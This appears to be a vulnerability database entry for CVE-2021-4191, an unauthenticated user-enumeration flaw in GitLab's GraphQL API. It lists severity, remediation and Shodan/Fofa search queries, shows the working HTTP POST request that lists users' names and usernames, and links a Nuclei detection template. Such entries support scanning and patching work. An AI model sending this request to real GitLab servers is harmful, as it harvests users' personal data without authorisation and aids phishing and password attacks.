| Title | GitLab GraphQL API User Enumeration |
|---|---|
| Author | zsusac |
| Severity | Medium |
| Impact | An attacker can enumerate valid usernames, which can be used for further attacks such as brute-forcing passwords or launching targeted phishing campaigns. |
| Remediation | Implement rate limiting or CAPTCHA on the GraphQL API to prevent user enumeration. |
| CVSS Score | 5.3 |
| EPSS Score | 0.92775 |
| CVE ID | CVE-2021-4191 |
| CWE ID | CWE-287 |
| Shodan Query | cpe:"cpe:2.3:a:gitlab:gitlab"http.title:"gitlab" |
| Fofa Query | title="gitlab" |
| Tags | cve2021 cve gitlab api graphql enum unauth vkev vuln |
An unauthenticated remote attacker can leverage this vulnerability to collect registered GitLab usernames, names, and email addresses.
POST /api/graphql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Safari/605.1.15
Connection: close
Content-Length: 917
Accept: */*
Content-Type: application/json
Origin: /
Referer: //-/graphql-explorer
Accept-Encoding: gzip
{"query":"# Welcome to GraphiQL\n#\n# GraphiQL is an in-browser tool for writing, validating, and\n# testing GraphQL queries.\n#\n# Type queries into this side of the screen, and you will see intelligent\n# typeaheads aware of the current GraphQL type schema and live syntax and\n# validation errors highlighted within the text.\n#\n# GraphQL queries typically start with a \"{\" character. Lines that starts\n# with a # are ignored.\n#\n# An example GraphQL query might look like:\n#\n# {\n# field(arg: \"value\") {\n# subField\n# }\n# }\n#\n# Keyboard shortcuts:\n#\n# Prettify Query: Shift-Ctrl-P (or press the prettify button above)\n#\n# Run Query: Ctrl-Enter (or press the play button above)\n#\n# Auto Complete: Ctrl-Space (or just start typing)\n#\n\n{\n users {\n nodes {\n id\n name\n username\n }\n }\n}","variables":null,"operationName":null}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4191.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-4191.pcap
N/AN/A